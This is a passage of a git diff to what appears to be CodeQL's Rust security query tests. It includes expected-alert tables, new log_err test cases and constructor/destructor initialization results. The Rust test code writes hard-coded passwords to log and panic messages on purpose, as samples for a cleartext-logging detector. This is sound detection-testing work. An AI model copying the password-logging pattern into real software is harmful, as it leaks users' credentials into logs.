[&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:76:20:76:28 | &password | semmle.label | &password | +| test_logging.rs:76:20:76:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:76:21:76:28 | password | semmle.label | password | +| test_logging.rs:77:5:77:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:77:23:77:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:77:39:77:46 | password | semmle.label | password | +| test_logging.rs:83:5:83:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:83:20:83:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:83:36:83:43 | password | semmle.label | password | +| test_logging.rs:85:5:85:62 | ...::log | semmle.label | ...::log | +| test_logging.rs:85:38:85:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:85:54:85:61 | password | semmle.label | password | +| test_logging.rs:86:5:86:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:86:20:86:28 | &password | semmle.label | &password | +| test_logging.rs:86:20:86:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:86:21:86:28 | password | semmle.label | password | +| test_logging.rs:87:5:87:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:87:20:87:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:87:36:87:43 | password | semmle.label | password | +| test_logging.rs:94:9:94:10 | m1 | semmle.label | m1 | +| test_logging.rs:94:14:94:22 | &password | semmle.label | &password | +| test_logging.rs:94:15:94:22 | password | semmle.label | password | +| test_logging.rs:95:5:95:29 | ...::log | semmle.label | ...::log | +| test_logging.rs:95:11:95:28 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:97:9:97:10 | m2 | semmle.label | m2 | +| test_logging.rs:97:41:97:49 | &password | semmle.label | &password | +| test_logging.rs:97:42:97:49 | password | semmle.label | password | +| test_logging.rs:98:5:98:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:98:11:98:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:100:9:100:10 | m3 | semmle.label | m3 | +| test_logging.rs:100:14:100:46 | res | semmle.label | res | +| test_logging.rs:100:22:100:45 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:100:22:100:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:100:22:100:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:100:22:100:45 | { ... } | semmle.label | { ... } | +| test_logging.rs:100:38:100:45 | password | semmle.label | password | +| test_logging.rs:101:5:101:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:101:11:101:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:119:5:119:42 | ...::log | semmle.label | ...::log | +| test_logging.rs:119:12:119:41 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:119:28:119:41 | get_password(...) | semmle.label | get_password(...) | +| test_logging.rs:130:9:130:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | +| test_logging.rs:130:25:130:32 | password | semmle.label | password | +| test_logging.rs:132:5:132:32 | ...::log | semmle.label | ...::log | +| test_logging.rs:132:12:132:31 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:132:28:132:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:132:28:132:31 | t1.1 | semmle.label | t1.1 | +| test_logging.rs:139:5:139:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:139:11:139:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:139:27:139:37 | s1.password | semmle.label | s1.password | +| test_logging.rs:146:5:146:38 | ...::log | semmle.label | ...::log | +| test_logging.rs:146:11:146:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:146:27:146:37 | s2.password | semmle.label | s2.password | +| test_logging.rs:171:22:171:31 | log_expect | semmle.label | log_expect | +| test_logging.rs:171:33:171:79 | &... | semmle.label | &... | +| test_logging.rs:171:33:171:79 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:171:34:171:79 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:171:34:171:79 | res | semmle.label | res | +| test_logging.rs:171:42:171:78 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:171:42:171:78 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:171:42:171:78 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:171:42:171:78 | { ... } | semmle.label | { ... } | +| test_logging.rs:171:70:171:78 | password2 | semmle.label | password2 | +| test_logging.rs:175:24:175:33 | log_expect | semmle.label | log_expect | +| test_logging.rs:175:35:175:81 | &... | semmle.label | &... | +| test_logging.rs:175:35:175:81 | &... [&ref] | semmle.label | &... [&ref] | +| test_logging.rs:175:36:175:81 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:175:36:175:81 | res | semmle.label | res | +| test_logging.rs:175:44:175:80 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:175:44:175:80 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:175:44:175:80 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:175:44:175:80 | { ... } | semmle.label | { ... } | +| test_logging.rs:175:72:175:80 | password2 | semmle.label | password2 | +| test_logging.rs:182:9:182:19 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:182:47:182:60 | Err(...) [Err] | semmle.label | Err(...) [Err] | +| test_logging.rs:182:51:182:59 | password2 | semmle.label | password2 | +| test_logging.rs:183:13:183:23 | err_result3 [Err] | semmle.label | err_result3 [Err] | +| test_logging.rs:183:25:183:34 | log_unwrap | semmle.label | log_unwrap | +| test_logging.rs:187:5:187:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:187:12:187:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:187:30:187:37 | password | semmle.label | password | +| test_logging.rs:188:5:188:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:188:14:188:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:188:30:188:37 | password | semmle.label | password | +| test_logging.rs:189:5:189:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:189:13:189:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:189:31:189:38 | password | semmle.label | password | +| test_logging.rs:190:5:190:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:190:15:190:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:190:31:190:38 | password | semmle.label | password | +| test_logging.rs:193:16:193:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:193:23:193:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:193:39:193:46 | password | semmle.label | password | +| test_logging.rs:194:16:194:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:194:22:194:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:194:38:194:45 | password | semmle.label | password | +| test_logging.rs:195:16:195:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:195:31:195:54 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:195:47:195:54 | password | semmle.label | password | +| test_logging.rs:196:16:196:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:196:29:196:52 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:196:45:196:52 | password | semmle.label | password | +| test_logging.rs:197:16:197:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:197:31:197:54 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:197:47:197:54 | password | semmle.label | password | +| test_logging.rs:198:16:198:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:198:33:198:56 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:198:49:198:56 | password | semmle.label | password | +| test_logging.rs:199:16:199:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:199:33:199:56 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:199:49:199:56 | password | semmle.label | password | +| test_logging.rs:200:16:200:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:200:37:200:60 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:200:53:200:60 | password | semmle.label | password | +| test_logging.rs:201:16:201:63 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:201:39:201:62 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:201:55:201:62 | password | semmle.label | password | +| test_logging.rs:202:17:202:64 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:202:40:202:63 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:202:56:202:63 | password | semmle.label | password | +| test_logging.rs:203:27:203:32 | expect | semmle.label | expect | +| test_logging.rs:203:34:203:66 | res | semmle.label | res | +| test_logging.rs:203:34:203:75 | ... .as_str() | semmle.label | ... .as_str() | +| test_logging.rs:203:42:203:65 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:203:42:203:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:203:42:203:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:203:42:203:65 | { ... } | semmle.label | { ... } | +| test_logging.rs:203:58:203:65 | password | semmle.label | password | +| test_logging.rs:209:30:209:34 | write | semmle.label | write | +| test_logging.rs:209:36:209:70 | res | semmle.label | res | +| test_logging.rs:209:36:209:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:209:44:209:69 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:209:44:209:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:209:44:209:69 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:209:44:209:69 | { ... } | semmle.label | { ... } | +| test_logging.rs:209:62:209:69 | password | semmle.label | password | +| test_logging.rs:210:30:210:38 | write_all | semmle.label | write_all | +| test_logging.rs:210:40:210:74 | res | semmle.label | res | +| test_logging.rs:210:40:210:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:210:48:210:73 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:210:48:210:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:210:48:210:73 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:210:48:210:73 | { ... } | semmle.label | { ... } | +| test_logging.rs:210:66:210:73 | password | semmle.label | password | +| test_logging.rs:213:9:213:13 | write | semmle.label | write | +| test_logging.rs:213:15:213:49 | res | semmle.label | res | +| test_logging.rs:213:15:213:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:213:23:213:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:213:23:213:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:213:23:213:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:213:23:213:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:213:41:213:48 | password | semmle.label | password | +| test_logging.rs:216:9:216:13 | write | semmle.label | write | +| test_logging.rs:216:15:216:49 | res | semmle.label | res | +| test_logging.rs:216:15:216:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:216:23:216:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:216:23:216:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:216:23:216:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:216:23:216:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:216:41:216:48 | password | semmle.label | password | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-312/options.yml b/rust/ql/test/query-tests/security/CWE-312/options.yml index 439af840b902..e2329156d6fc 100644 --- a/rust/ql/test/query-tests/security/CWE-312/options.yml +++ b/rust/ql/test/query-tests/security/CWE-312/options.yml @@ -2,3 +2,4 @@ qltest_cargo_check: true qltest_dependencies: - log = { version = "0.4.25", features = ["kv"] } - simple_logger = { version = "5.0.0" } + - log_err = { version = "1.1.1" } diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 970a9caf0ee5..3e8dbe816364 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -2,6 +2,7 @@ use log::{debug, error, info, trace, warn, log, Level}; use std::io::Write as _; use std::fmt::Write as _; +use log_err::{LogErrOption, LogErrResult}; // --- tests --- @@ -135,17 +136,51 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { // logging from a struct let s1 = MyStruct1 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s1 warn!("message = {}", s1.harmless); - warn!("message = {}", s1.password); // $ MISSING: Alert[rust/cleartext-logging] + warn!("message = {}", s1.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:#?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 let s2 = MyStruct2 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s2 warn!("message = {}", s2.harmless); - warn!("message = {}", s2.password); // $ MISSING: Alert[rust/cleartext-logging] + warn!("message = {}", s2.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s2); // (this implementation does not output the password field) warn!("message = {:?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 warn!("message = {:#?}", s2); // $ MISSING: Alert[rust/cleartext-logging]=s2 + + let password2 = "123456".to_string(); // Create new password for this test + + // test `log_expect` with sensitive `Option.Some` (which is not output by `log_expect`) + let sensitive_opt: Option = Some(password2.clone()); + let _ = sensitive_opt.log_expect("Option is None"); + + // test `log_expect` with sensitive `Result.Ok` (which is not output by `log_expect`) + let sensitive_result: Result = Ok(password2.clone()); + let _ = sensitive_result.log_expect("Result failed"); + + // test `log_unwrap` with sensitive `Option.Some` (which is not output by `log_unwrap`) + let sensitive_opt2: Option = Some(password2.clone()); + let _ = sensitive_opt2.log_unwrap(); + + // test `log_unwrap` with sensitive `Result.Ok` (which is not output by `log_unwrap`) + let sensitive_result2: Result = Ok(password2.clone()); + let _ = sensitive_result2.log_unwrap(); + + // test `log_expect` on `Option` with sensitive message + let none_opt: Option = None; + let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] + + // test `log_expect` on `Result` with sensitive message + let err_result: Result = Err(""); + let _ = err_result.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] + + // test `log_expect` with sensitive `Result.Err` + let err_result2: Result = Err(password2.clone()); + let _ = err_result2.log_expect(""); // $ MISSING: Alert[rust/cleartext-logging] + + // test `log_unwrap` with sensitive `Result.Err` + let err_result3: Result = Err(password2); // $ Source=err_result3 + let _ = err_result3.log_unwrap(); // $ Alert[rust/cleartext-logging]=err_result3 } fn test_std(password: String, i: i32, opt_i: Option) { diff --git a/rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected b/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected index 9d8fc2524718..3ac74a3cb13b 100644 --- a/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected +++ b/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected @@ -1,49 +1,71 @@ #select -| test.rs:30:9:30:25 | ...::stdout(...) | test.rs:28:1:28:13 | Attr | test.rs:30:9:30:25 | ...::stdout(...) | Call to ...::stdout(...) in a function with the ctor attribute. | -| test.rs:35:9:35:25 | ...::stdout(...) | test.rs:33:1:33:13 | Attr | test.rs:35:9:35:25 | ...::stdout(...) | Call to ...::stdout(...) in a function with the dtor attribute. | -| test.rs:42:9:42:25 | ...::stdout(...) | test.rs:39:1:39:13 | Attr | test.rs:42:9:42:25 | ...::stdout(...) | Call to ...::stdout(...) in a function with the dtor attribute. | -| test.rs:52:9:52:16 | stdout(...) | test.rs:50:1:50:7 | Attr | test.rs:52:9:52:16 | stdout(...) | Call to stdout(...) in a function with the ctor attribute. | -| test.rs:57:9:57:16 | stderr(...) | test.rs:55:1:55:7 | Attr | test.rs:57:9:57:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:62:14:62:28 | ...::_print(...) | test.rs:60:1:60:7 | Attr | test.rs:62:14:62:28 | ...::_print(...) | Call to ...::_print(...) in a function with the ctor attribute. | -| test.rs:68:9:68:24 | ...::stdin(...) | test.rs:65:1:65:7 | Attr | test.rs:68:9:68:24 | ...::stdin(...) | Call to ...::stdin(...) in a function with the ctor attribute. | -| test.rs:89:5:89:35 | ...::sleep(...) | test.rs:87:1:87:7 | Attr | test.rs:89:5:89:35 | ...::sleep(...) | Call to ...::sleep(...) in a function with the ctor attribute. | -| test.rs:96:5:96:23 | ...::exit(...) | test.rs:94:1:94:7 | Attr | test.rs:96:5:96:23 | ...::exit(...) | Call to ...::exit(...) in a function with the ctor attribute. | -| test.rs:125:9:125:16 | stderr(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:125:9:125:16 | stderr(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:125:9:125:16 | stderr(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) in a function with the ctor attribute. | -| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) in a function with the ctor attribute. | -| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) in a function with the ctor attribute. | -| test.rs:170:5:170:15 | ...::stdout(...) | test.rs:168:1:168:7 | Attr | test.rs:170:5:170:15 | ...::stdout(...) | Call to ...::stdout(...) in a function with the ctor attribute. | +| test.rs:30:9:30:24 | ...::stdout(...) | test.rs:28:1:28:13 | Attr | test.rs:30:9:30:24 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the ctor attribute. | +| test.rs:30:9:30:48 | ... .write(...) | test.rs:28:1:28:13 | Attr | test.rs:30:9:30:48 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the ctor attribute. | +| test.rs:35:9:35:24 | ...::stdout(...) | test.rs:33:1:33:13 | Attr | test.rs:35:9:35:24 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the dtor attribute. | +| test.rs:35:9:35:48 | ... .write(...) | test.rs:33:1:33:13 | Attr | test.rs:35:9:35:48 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the dtor attribute. | +| test.rs:42:9:42:24 | ...::stdout(...) | test.rs:39:1:39:13 | Attr | test.rs:42:9:42:24 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the dtor attribute. | +| test.rs:42:9:42:48 | ... .write(...) | test.rs:39:1:39:13 | Attr | test.rs:42:9:42:48 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the dtor attribute. | +| test.rs:52:9:52:15 | stdout(...) | test.rs:50:1:50:7 | Attr | test.rs:52:9:52:15 | stdout(...) | Call to stdout(...) from the standard library in a function with the ctor attribute. | +| test.rs:52:9:52:39 | ... .write(...) | test.rs:50:1:50:7 | Attr | test.rs:52:9:52:39 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the ctor attribute. | +| test.rs:57:9:57:15 | stderr(...) | test.rs:55:1:55:7 | Attr | test.rs:57:9:57:15 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:57:9:57:43 | ... .write_all(...) | test.rs:55:1:55:7 | Attr | test.rs:57:9:57:43 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:62:14:62:28 | ...::_print(...) | test.rs:60:1:60:7 | Attr | test.rs:62:14:62:28 | ...::_print(...) | Call to ...::_print(...) from the standard library in a function with the ctor attribute. | +| test.rs:68:9:68:23 | ...::stdin(...) | test.rs:65:1:65:7 | Attr | test.rs:68:9:68:23 | ...::stdin(...) | Call to ...::stdin(...) from the standard library in a function with the ctor attribute. | +| test.rs:68:9:68:44 | ... .read_line(...) | test.rs:65:1:65:7 | Attr | test.rs:68:9:68:44 | ... .read_line(...) | Call to ... .read_line(...) from the standard library in a function with the ctor attribute. | +| test.rs:75:17:75:44 | ...::create(...) | test.rs:73:1:73:7 | Attr | test.rs:75:17:75:44 | ...::create(...) | Call to ...::create(...) from the standard library in a function with the ctor attribute. | +| test.rs:80:14:80:37 | ...::now(...) | test.rs:78:1:78:7 | Attr | test.rs:80:14:80:37 | ...::now(...) | Call to ...::now(...) from the standard library in a function with the ctor attribute. | +| test.rs:89:5:89:34 | ...::sleep(...) | test.rs:87:1:87:7 | Attr | test.rs:89:5:89:34 | ...::sleep(...) | Call to ...::sleep(...) from the standard library in a function with the ctor attribute. | +| test.rs:96:5:96:22 | ...::exit(...) | test.rs:94:1:94:7 | Attr | test.rs:96:5:96:22 | ...::exit(...) | Call to ...::exit(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:16 | stderr(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:16 | stderr(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:16 | stderr(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:168:1:168:7 | ... .write(...) | test.rs:168:1:168:7 | Attr | test.rs:168:1:168:7 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the ctor attribute. | +| test.rs:168:1:168:7 | ...::stdout(...) | test.rs:168:1:168:7 | Attr | test.rs:168:1:168:7 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the ctor attribute. | edges -| test.rs:28:1:28:13 | Attr | test.rs:28:1:31:1 | fn bad1_1 | -| test.rs:28:1:31:1 | fn bad1_1 | test.rs:30:9:30:25 | ...::stdout(...) | -| test.rs:33:1:33:13 | Attr | test.rs:33:1:36:1 | fn bad1_2 | -| test.rs:33:1:36:1 | fn bad1_2 | test.rs:35:9:35:25 | ...::stdout(...) | -| test.rs:38:1:43:1 | fn bad1_3 | test.rs:42:9:42:25 | ...::stdout(...) | -| test.rs:39:1:39:13 | Attr | test.rs:38:1:43:1 | fn bad1_3 | -| test.rs:50:1:50:7 | Attr | test.rs:50:1:53:1 | fn bad2_1 | -| test.rs:50:1:53:1 | fn bad2_1 | test.rs:52:9:52:16 | stdout(...) | -| test.rs:55:1:55:7 | Attr | test.rs:55:1:58:1 | fn bad2_2 | -| test.rs:55:1:58:1 | fn bad2_2 | test.rs:57:9:57:16 | stderr(...) | -| test.rs:60:1:60:7 | Attr | test.rs:60:1:63:1 | fn bad2_3 | -| test.rs:60:1:63:1 | fn bad2_3 | test.rs:62:14:62:28 | ...::_print(...) | -| test.rs:65:1:65:7 | Attr | test.rs:65:1:69:1 | fn bad2_4 | -| test.rs:65:1:69:1 | fn bad2_4 | test.rs:68:9:68:24 | ...::stdin(...) | -| test.rs:87:1:87:7 | Attr | test.rs:87:1:90:1 | fn bad2_7 | -| test.rs:87:1:90:1 | fn bad2_7 | test.rs:89:5:89:35 | ...::sleep(...) | -| test.rs:94:1:94:7 | Attr | test.rs:94:1:97:1 | fn bad2_8 | -| test.rs:94:1:97:1 | fn bad2_8 | test.rs:96:5:96:23 | ...::exit(...) | +| test.rs:28:1:28:13 | Attr | test.rs:29:4:30:50 | fn bad1_1 | +| test.rs:29:4:30:50 | fn bad1_1 | test.rs:30:9:30:24 | ...::stdout(...) | +| test.rs:29:4:30:50 | fn bad1_1 | test.rs:30:9:30:48 | ... .write(...) | +| test.rs:33:1:33:13 | Attr | 